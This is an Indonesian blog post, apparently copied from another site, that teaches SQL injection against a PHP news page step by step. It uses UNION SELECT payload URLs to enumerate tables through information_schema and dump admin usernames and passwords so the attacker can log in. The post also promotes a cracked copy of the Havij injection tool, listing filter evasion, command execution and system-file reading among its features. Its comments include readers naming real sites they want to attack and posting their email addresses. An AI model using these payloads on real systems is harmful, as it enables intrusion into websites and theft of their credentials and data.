Cari Artikel Disini
Cara Hacking Website dengan teknik SQL Injection
Harap dicatat bahwa penulis tidak bertanggung jawab atas segala bentuk efek dari artikel ini, tujuannya hanya untuk pengetahuan saja, jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2. Pertanyaan yang bersifat “Merusak” tidak akan ditanggapi.
Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
Apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N
oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error) http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga) http://www.target.com/berita.php?id=100+order+by+3/* (capek dah) http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.
Download SQL injection step by step.DOC
oke selamat mencoba. yang terpenting jangan dilakukan di web teman anda ataupun di website Lokal.
referensi :
http://jasakom.com
http://ezine.echo.or.id
http://cruzenaldo.co.cc
http://students.ee.itb.ac.id
: Cara otomatis dengan memakai software bisa juga dilakukan, selengkapnya lihat artikel berikut ini
Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:
- Supported Databases with injection methods:
- MsSQL 2000/2005 with error
- MsSQL 2000/2005 no error (union based)
- MySQL (union based)
- MySQL Blind
- MySQL error based
- Oracle (union based)
- MsAccess (union based)
- Automatic database detection
- Automatic type detection (string or integer)
- Automatic keyword detection (finding difference between the positive and negative response)
- Trying different injection syntaxes
- Proxy support
- Real time result
- Options for replacing space by /**/,+,… against IDS or filters
- Avoid using strings (magic_quotes similar filters bypass)
- Bypassing illegal union
- Full customizable http headers (like referer and user agent)
- Load cookie from site for authentication
- Guessing tables and columns in mysql<5 (also in blind) and MsAccess
- Fast getting tables and columns for mysql
- Multi thread Admin page finder
- Multi thread Online MD5 cracker
- Getting DBMS Informations
- Getting tables, columns and data
- Command executation (mssql only)
- Reading system files (mysql only)
- Insert/update/delete data
Download HAVIJ
Label : hacking web • havij cracked • sql injection •
Artikel Terkait- Posting Missed Schedule setelah upgrade wordpress ke versi 2.9
- Cara hacking memakai RFI dan LFI
- Windows Live Messenger error 80040154 after Installing WLM 2009
- Cara install webmin di Ubuntu
- Cara menghapus banyak email sekaligus di Gmail
Temukan HonG.WeB.iD di Facebook
contoh lain misalnya http://www.youtube.com, http://www.facebook.com, http://www.google.com, itu bisa juga ga? terus dari contoh di atas ada yang saya garis bawahi”php?id=100″. kita harus menemukan itu ya?
mohon pencerahannya, saya pendatang baru..trims..
hmmmmm… admin ngga mau bales commentnya sibuk coli kale
wakaka copas ya lu ? ada tuh beberapa artikel yang sama
–a
–a
–a
–a
yg kreatif donk..
(–!)
klo table nya ada ratusan, lebih gmn om caranya,.?
(paling admin jawab, y derita lohh..) =__=
@ichs4n, pake “Tools” hehehehe, kan otomatis jadinya
wah ilmu bagus nih…
terima kasih bro.
Panduan Belajar SEO
nggak kreatif………..!!!!!!!
gan gmn kalo database ny banyak bngt,,
ngk mungkin kan kita coba’in 1 per 1 gan…
bales ny di email aq aj gan.
piccolospeed@gmail.com
ditunggu ya gan balesan ny.
thanks gan…..
knpa gak boleh web lokal gan? Bls
g bisa gan, ga ada pesan error
thanks gan, ane mau belajar php dan mysql dulu ah….
setiap aku coba gak berhasil bro
udah tak coba dan gak pernah berhasil
wah gan.. ada yang lebih simple lagi gak caranya selain harus satu / satu di cek untuk mengetahui erorr pagenya ??
)
bodoh smua kalian yg coment.. gawsa banyak protes klu gak tw dunia hacking..
tolong dong kasih tutorial ny berupa word untuk hacking web ini tar klo ane bisa ane balikin lg tuh web seperti semula word ny tolong di kirim ke email ane yaa
Email: ara.miku@ymail.com
nih web yang mau ane attack
http://animeindo.tv
tolong dong kasih tutorial ny berupa word untuk hacking web ini tar klo ane bisa ane balikin lg tuh web seperti semula word ny tolong di kirim ke email ane yaa
Email: ara.miku@ymail.com nih web yang mau ane attack http://animeindo.tv
Waackh target lo besar jg coy, cari ikan kecil dolo baru ikan besar huahahaha
Geleng-geleng.
pakai tool havij aja lbh simple…untuk dorknya search pakai google…untuk info dork..silahkan tanyakan mbah google
gan tolong di bantu yahh ..
ane mao hack situs ini http://www.hong.web.id
makasih
perlu di uji cobakan nih pertamaxxx
mangtab lah pokoknya,.,.